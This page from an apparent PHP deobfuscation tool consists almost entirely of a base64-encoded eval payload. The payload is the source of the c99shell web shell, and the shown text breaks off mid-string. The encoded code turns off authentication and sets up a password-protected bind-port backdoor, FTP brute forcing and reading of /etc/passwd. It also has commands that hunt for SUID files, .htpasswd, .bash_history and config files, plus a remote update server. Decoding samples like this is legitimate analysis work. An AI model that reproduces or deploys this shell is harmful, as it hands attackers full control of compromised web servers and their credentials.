Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode($QBDB51E25BF9A7F3D2475072803D1C36D="DQovKg0KRW5jb2RlciA6IEFST0hB..
Decoded Output download
<?php
eval(base64_decode($QBDB51E25BF9A7F3D2475072803D1C36D="DQovKg0KRW5jb2RlciA6IEFST0hBIFBIUGVuY29kZXIgdmVyLiAxLjA0DQpXRUIgOiBodHRwOi8vcGhwZW5jb2Rlci5hcm9oYS5zay8NCiovDQo/Pjw/DQovL2FkZCBwaHAgdGFncyBiZWZvcmUgdXNhZ2UNCi8qDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCioNCioJCQkJCWM5OXNoZWxsLnBocCB2LjEuMCBiZXRhICg/PyAyMS4wNS4yMDA1KQ0KKgkJCQkJCQlGcmVld2FyZSBsaWNlbnNlLg0KKgkJCQkJCQkJqSBDQ1RlYU0uDQoqICBjOTlzaGVsbCAtID8/Pz8tPz8/Pz8/Pz8gPz8/Pz8gd3d3LT8/Pz8/Pz8sICI/Pz8/Pz8/Pz8iID8/PyA/Pz8/Pz8uDQoqICA/PyA/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/PyA/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8gPz8/Pz8/Pz86DQogICBodHRwOi8vY2N0ZWFtLnJ1L3JlbGVhc2VzL2M5OXNoZWxsDQoqDQoqICBXRUI6IGh0dHA6Ly9jY3RlYW0ucnUNCiogIElDUSBVSU4gIzogNjU2NTU1DQoqIA0KKiAgPz8/Pz8/Pz8/Pz86DQoqICArID8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/PyA/ID8/Pz8/Pz8/Pz8gKGZ0cCwgc2FtYmEgKikgPz8/Pz8/Py8/Pz8/Pz8/LCA/Pz8/Pz8/Pz8/DQoqICAgID8/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8gPz8/Pz8/ID8gPz8/Pz8NCiogICAgKD8/Pz8/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8vPz8/Pz8/Pz8/Pz8/Pz8/ID8/Pz8/IHRhciAqKQ0KKiAgICA/Pz8/Pz8/Pz8/PyA/Pz8/PyAoPz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/PykNCiogICAgbW9kaWZ5LXRpbWUgPyBhY2Nlc3MtdGltZSA/ID8/Pz8/PyA/PyA/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8/Pz8/Pz8gKD8/Pz8uLz8/Py4gPz8/Pz8/Pz8/PyAkZmlsZXN0ZWFsdGgpDQoqICArID8/Pz8/Pz8/Pz8/IFNRTC0/Pz8/Pz8/PyA/PyA/Pz8/Pz8/Pz8/IHBocG15YWRtaW4sDQogICAgID8/Pz8/Pz8/Lz8/Pz8/Pz8/Lz8/Pz8/Pz8/Pz8/Pz8/ID8/Lz8/Pz8/PywgPz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/ID8/Pz8/ID8gbXlzcWwNCiogICsgPz8/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/IHVuaXgtPz8/Pz8/Lg0KKiAgKyA/Pz8/Pz8/ICg/Pz8/Pz8gPz8/Pz8/Pz8/Pz8pID8/Pz8/Pz8/Pz8gc2hlbGwtPz8/Pz8/ICg/Pz8/PyA/Pz8/Pz8/LCA/Pz8/PyA/Pz8/Pz8/Pz8/Pz8/KQ0KKiAgKyA/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8gUEhQLT8/Pz8NCiogICsgPz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8gbWQ1LCB1bml4LW1kNSwgc2hhMSwgY3JjMzIsIGJhc2U2NA0KKiAgKyA/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/ID8/DQoqICArID8/Pz8/Pz8gZnRwLT8/Pz8/Pz8/Pz8/PyA/PyA/Pz8/Pz8gbG9naW47bG9naW4gPz8gL2V0Yy9wYXNzd2QgKD8/Pz8/PyA/Pz8/ID8/Pz8/PyA/IDEvMTAwID8/Pz8/Pz8/PykNCiogICAgPz8/Pz8/Pz8/Pz8/ID8/Pz8/LCA/Pz8/Pz8/Pz8/LCA/Pz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/ID8/Lz8/Pz8/Pz8/PywgPz8/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/IFNRTCkNCiogICsgPz8/Pz8/ICI/Pz8/PyIgaW5jbHVkZTogPz8/Pz8/Pz8/Pz8/PyA/Pz8/ID8/Pz8/Pz8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/ID8/ID8gPz8/Pz8/ICg/Pz8/Pz8/Pz8pDQogICAgID8/Pz8/ID8/Pz8/ID8/Pz8/Pz8/ICRzdXJsICg/Pz8/Pz8/ID8/Pz8/PykgPz8/ID8/Pz8/ID8/Pz8/Pz8/Pz8/PyAoPz8/Pz8/Pz8/Pz8/PykgPz8/ID8gPz8/Pz8gY29va2llICJjOTlzaF9zdXJsIiwNCiAgICAgPz8/PyA/Pz8/LT8/Pz8/PyA/Pz8/Pz8/PyAkc2V0X3N1cmwgPyBjb29raWUgInNldF9zdXJsIg0KKiAgKyA/Pz8/Pz8/Pz8/PyAiPz8/Pz8/Pz8/IiAvYmluL2Jhc2ggPz8gPz8/Pz8/Pz8/Pz8/ID8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/PywNCiogICAgPz8/ID8/Pz8/Pz8gYmFjayBjb25uZWN0ICg/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8sID8gPz8/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/PyBOZXRDYXQpLg0KKiAgKyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/LT8/Pz8/Pz8/ID8/Pz8/Pz8NCiogICsgPz8/Pz8/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/ID8/Pz8/PyAoPz8/Pz8gbWFpbCgpKQ0KDQoqICAqIC0gPz8/Pz8gPz8/Pz8/Pz8/ID8/Pz8/Pz8gPz8gPz8/Pz8/Pz8/Pz8/IFBIUA0KKg0KKgk/ID8/Pz8/ID8/Pz8/ID8/Pz8/Pz8gPz8/ID8/PyENCioNCiogICA/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/Og0KKiAgfiA/Pz8/Pz8/PyBzcWwtPz8/Pz8/Pz8/DQoqICB+ID8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/PyA/Pz8/Pz8NCioNCiogIH4tfiA/Pz8/Pz8gPz8/ID8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/LCA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/PyAoPz8/PyA/ID8/Pz8/ID8/Pz8/Pz8/Pz8/Pz8/ISkNCiAgICAgICA/IElDUSBVSU4gIzY1NjU1NSA/Pz8/ID8/Pz8/ID8/Pz8/PyAiZmVlZGJhY2siLCA/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8gPz8/Pz8/Pz8/Pz8gPyA/Pz8/Pz8/Pz8uDQoqDQoqICBMYXN0IG1vZGlmeTogMjEuMDUuMjAwNQ0KKg0KKiAgqSBDYXB0YWluIENydW5jaCBTZWN1cml0eSBUZWFNLiBDb2RlZCBieSB0cmlzdHJhbQ0KKg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoqLw0KDQovL1N0YXJ0aW5nIGNhbGxzDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZ2V0bWljcm90aW1lIikpIHtmdW5jdGlvbiBnZXRtaWNyb3RpbWUoKSB7bGlzdCgkdXNlYywgJHNlYykgPSBleHBsb2RlKCIgIiwgbWljcm90aW1lKCkpOyByZXR1cm4gKChmbG9hdCkkdXNlYyArIChmbG9hdCkkc2VjKTt9fQ0KZXJyb3JfcmVwb3J0aW5nKDUpOw0KQGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIjsNCmlmICghQG9iX2dldF9jb250ZW50cygpKSB7QG9iX3N0YXJ0KCk7IEBvYl9pbXBsaWNpdF9mbHVzaCgwKTt9DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHtpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHtmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHtpZiAoaXNfYXJyYXkoJGFycikpIHtmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7aWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikge3N0cmlwcygkYXJyWyIkayJdKTt9fX0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9fX0gc3RyaXBzKCRHTE9CQUxTKTt9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fX0NCg0KJHNodmVyID0gIjEuMCBiZXRhICgyMS4wNS4yMDA1KSI7IC8vQ3VycmVudCB2ZXJzaW9uDQovL0NPTkZJR1VSQVRJT04gQU5EIFNFVFRJTkdTDQppZiAoIWVtcHR5KCR1bnNldF9zdXJsKSkge3NldGNvb2tpZSgiYzk5c2hfc3VybCIpOyAkc3VybCA9ICIiO30NCmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpIHskc3VybCA9ICRzZXRfc3VybDsgc2V0Y29va2llKCJjOTlzaF9zdXJsIiwkc3VybCk7fQ0KZWxzZSB7JHN1cmwgPSAkX1JFUVVFU1RbImM5OXNoX3N1cmwiXTsgLy9TZXQgdGhpcyBjb29raWUgZm9yIG1hbnVhbCBTVVJMDQp9DQoNCiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzZWFyY2ggdmFyaWFibGVzIHdpdGggZGVzY3JpcHRvcnMgKFVSTHMpIGFuZCBzYXZlIGl0IGluIFNVUkwuDQoNCmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRlIGFuZCAhJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl0pIHskaW5jbHVkZSA9ICImIjsgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHskdiA9IGV4cGxvZGUoIj0iLCR2KTsgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOyAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOyBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHtpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgeyRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjt9fX0gaWYgKCRfUkVRVUVTVFsic3VybF9hdXRvZmlsbF9pbmNsdWRlIl0pIHskaW5jbHVkZXN0ciAuPSAic3VybF9hdXRvZmlsbF9pbmNsdWRlPTEmIjt9fQ0KaWYgKGVtcHR5KCRzdXJsKSkNCnsNCiAkc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybA0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KJHRpbWVsaW1pdCA9IDYwOyAvL2xpbWl0IG9mIGV4ZWN1dGlvbiB0aGlzIHNjcmlwdCAoc2Vjb25kcyksIDAgPSB1bmxpbWl0ZWQuDQoNCi8vQXV0aGVudGljYXRpb24NCg0KJGxvZ2luID0gImM5OSI7IC8vbG9naW4NCi8vRE9OJ1QgRk9SR09UIEFCT1VUIENIQU5HRSBQQVNTV09SRCEhIQ0KJHBhc3MgPSAiYzk5IjsgLy9wYXNzd29yZA0KJG1kNV9wYXNzID0gIiI7IC8vbWQ1LWNyeXBlZCBwYXNzLiBpZiBudWxsLCBtZDUoJHBhc3MpDQoNCgkvKkNPTU1FTlQgSVQgRk9SIFRVUk4gT04gQVVUSEVOVElGSUNBVElPTiA+Pj4qLwkkbG9naW4gPSBmYWxzZTsgLy90dXJuIG9mZiBhdXRoZW50aWZpY2F0aW9uDQoNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NUIGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikNCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBhcmVhIjsgLy9odHRwLWF1dGggbWVzc2FnZS4NCiRhY2Nlc3NkZW5pZWRtZXNzID0gIjxhIGhyZWY9XCJodHRwOi8vY2N0ZWFtLnJ1L3JlbGVhc2VzL2M5OXNoZWxsXCI+Yzk5c2hlbGwgdi4iLiRzaHZlci4iPC9hPjogYWNjZXNzIGRlbmllZCI7DQoNCiRhdXRvdXBkYXRlID0gZmFsc2U7IC8vQXV0b21hdGljIHVwZGF0aW5nPw0KJHVwZGF0ZW5vdyA9IGZhbHNlOyAvL0lmIHRydWUsIHVwZGF0ZSBub3cNCiRjOTlzaF91cGRhdGVmdXJsID0gImh0dHA6Ly9jY3RlYW0ucnUvcmVsZWFzZXMvdXBkYXRlL2M5OXNoZWxsLyI7IC8vVXBkYXRlIHNlcnZlcg0KDQokZmlsZXN0ZWFsdGggPSBmYWxzZTsgLy9pZiB0cnVlLCBkb24ndCBjaGFuZ2UgbW9kaWZ5JmFjY2Vzcy10aW1lDQoNCiRkb25hdGVkX2h0bWwgPSAiPGNlbnRlcj48Yj5Pd25lZCBieSBoYWNrZXI8L2I+PC9jZW50ZXI+IjsNCgkJLyogSWYgeW91IHB1Ymxpc2ggZnJlZSBzaGVsbCBhbmQgeW91IHdpc2gNCgkJYWRkIGxpbmsgdG8geW91ciBzaXRlIG9yIGFueSBvdGhlciBpbmZvcm1hdGlvbiwNCgkJcHV0IGhlcmUgeW91ciBodG1sLiAqLw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLg0KDQokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBkaXJlY3RvcnkNCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOw0KJHRtcGRpciA9ICIiOyAvL0RpcmVjdG9yeSBmb3IgdGVtcG9yeSBmaWxlcy4gSWYgZW1wdHksIGF1dG8tZmlsbCAoL3RtcCBvciAlV0lORElSL3RlbXApDQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pDQoNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LnRsZCI7IC8vRGVmYXVsdCBlLW1haWwgZm9yIHNlbmRpbmcgbG9ncw0KDQokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcNCiRzb3J0X3NhdmUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzYXZlIHNvcnRpbmctdHlwZS4NCg0KLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLg0KLy8gIGFycmF5KA0KLy8gICAie2FjdGlvbjF9Ij0+YXJyYXkoImV4dDEiLCJleHQyIiwiZXh0MyIsLi4uKSwNCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCiRmdHlwZXMgID0gYXJyYXkoDQogImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAiaW5pIj0+YXJyYXkoImluaSIsImluZiIpLA0KICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAic2RiIj0+YXJyYXkoInNkYiIpLA0KICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwNCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCg0KLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuDQovLyAgYXJyYXkoDQovLyAgIHN0cmluZyAiY29tbWFuZHtpfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCi8vICAge2NvbW1hbmR9OiAlZiUgPSBmaWxlbmFtZQ0KJGV4ZWZ0eXBlcyAgPSBhcnJheSgNCiBnZXRlbnYoIlBIUFJDIikuIiAlZiUiPT5hcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwNCik7DQoNCi8qIEhpZ2hsaWdodGVkIGZpbGVzLg0KICBhcnJheSgNCiAgIGk9PmFycmF5KHtyZWdleHB9LHt0eXBlfSx7b3BlbnRhZ30se2Nsb3NldGFnfSx7YnJlYWt9KQ0KICAgLi4uDQogICkNCiAgc3RyaW5nIHtyZWdleHB9IC0gcmVndWxhciBleHAuDQogIGludCB7dHlwZX06DQoJMCAtIGZpbGVzIGFuZCBmb2xkZXJzIChhcyBkZWZhdWx0KSwNCgkxIC0gZmlsZXMgb25seSwgMiAtIGZvbGRlcnMgb25seQ0KICBzdHJpbmcge29wZW50YWd9IC0gb3BlbiBodG1sLXRhZywgZS5nLiAiPGI+IiAoZGVmYXVsdCkNCiAgc3RyaW5nIHtjbG9zZXRhZ30gLSBjbG9zZSBodG1sLXRhZywgZS5nLiAiPC9iPiIgKGRlZmF1bHQpDQogIGJvb2wge2JyZWFrfSAtIGlmIHRydWUgYW5kIGZvdW5kIG1hdGNoIHRoZW4gYnJlYWsNCiovDQokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KA0KICBhcnJheShiYXNlbmFtZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSksMSwiPGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4iLCI8L2ZvbnQ+IiksIC8vIGV4YW1wbGUNCiAgYXJyYXkoImNvbmZpZy5waHAiLDEpIC8vIGV4YW1wbGUNCik7DQoNCiRzYWZlbW9kZV9kaXNrZXR0ZXMgPSBhcnJheSgiYSIpOyAvLyBUaGlzIHZhcmlhYmxlIGZvciBkaXNhYmxpbmcgZGlza2V0dC1lcnJvcnMuDQoJCQkJCQkJCQkgLy8gYXJyYXkgKGk9PntsZXR0ZXJ9IC4uLik7IHN0cmluZyB7bGV0dGVyfSAtIGxldHRlciBvZiBhIGRyaXZlDQoJCQkJCQkJCQkvLyBTZXQgYXMgZmFsc2Ugb3IgZm9yIHR1cm4gb2ZmLg0KJGhleGR1bXBfbGluZXMgPSA4OwkvLyBsaW5lcyBpbiBoZXggcHJldmlldyBmaWxlDQokaGV4ZHVtcF9yb3dzID0gMjQ7CS8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQ0KDQokbml4cHdkcGVycGFnZSA9IDEwMDsgLy8gR2V0IGZpcnN0IE4gbGluZXMgZnJvbSAvZXRjL3Bhc3N3ZA0KDQokYmluZHBvcnRfcGFzcyA9ICJjOTkiOwkgIC8vIGRlZmF1bHQgcGFzc3dvcmQgZm9yIGJpbmRpbmcNCiRiaW5kcG9ydF9wb3J0ID0gIjExNDU3IjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nDQoNCi8vIENvbW1hbmQtYWxpYXNlcw0KaWYgKCEkd2luKQ0Kew0KICRjbWRhbGlhc2VzID0gYXJyYXkoDQogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJscyAtbGEiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICBhcnJheSgiZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIHNlcnZpY2UucHdkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwNCiAgYXJyYXkoImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0KICBhcnJheSgibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogKTsNCn0NCmVsc2UNCnsNCiAkY21kYWxpYXNlcyA9IGFycmF5KA0KICBhcnJheSgiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iLCAiZGlyIiksDQogIGFycmF5KCJzaG93IG9wZW5lZCBwb3J0cyIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImM5OXNodmFycyI7IC8vIENvb2tpZS12YXJpYWJsZSBuYW1lDQoNCiR1c2Vmc2J1ZmYgPSB0cnVlOyAvL0J1ZmZlci1mdW5jdGlvbg0KJGNvcHlfdW5zZXQgPSBmYWxzZTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcNCg0KLy9RdWljayBsYXVuY2gNCiRxdWlja2xhdW5jaCA9IGFycmF5KA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWhvbWVcIiBhbHQ9XCJIb21lXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJhY2tcIiBhbHQ9XCJCYWNrXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5iYWNrKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Zm9yd2FyZFwiIGFsdD1cIkZvcndhcmRcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9dXBcIiBhbHQ9XCJVUERJUlwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9bHMmZD0ldXBkJnNvcnQ9JXNvcnQiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1yZWZyZXNoXCIgYWx0PVwiUmVmcmVzaFwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9XCJTZWFyY2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PXNlYXJjaCZkPSVkIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YnVmZmVyXCIgYWx0PVwiQnVmZmVyXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1mc2J1ZmYmZD0lZCIpLA0KIGFycmF5KCI8Yj5FbmNvZGVyPC9iPiIsJHN1cmwuImFjdD1lbmNvZGVyJmQ9JWQiKSwNCiBhcnJheSgiPGI+QmluZDwvYj4iLCRzdXJsLiJhY3Q9YmluZCZkPSVkIiksDQogYXJyYXkoIjxiPlByb2MuPC9iPiIsJHN1cmwuImFjdD1wc19hdXgmZD0lZCIpLA0KIGFycmF5KCI8Yj5GVFAgYnJ1dGU8L2I+Iiwkc3VybC4iYWN0PWZ0cHF1aWNrYnJ1dGUmZD0lZCIpLA0KIGFycmF5KCI8Y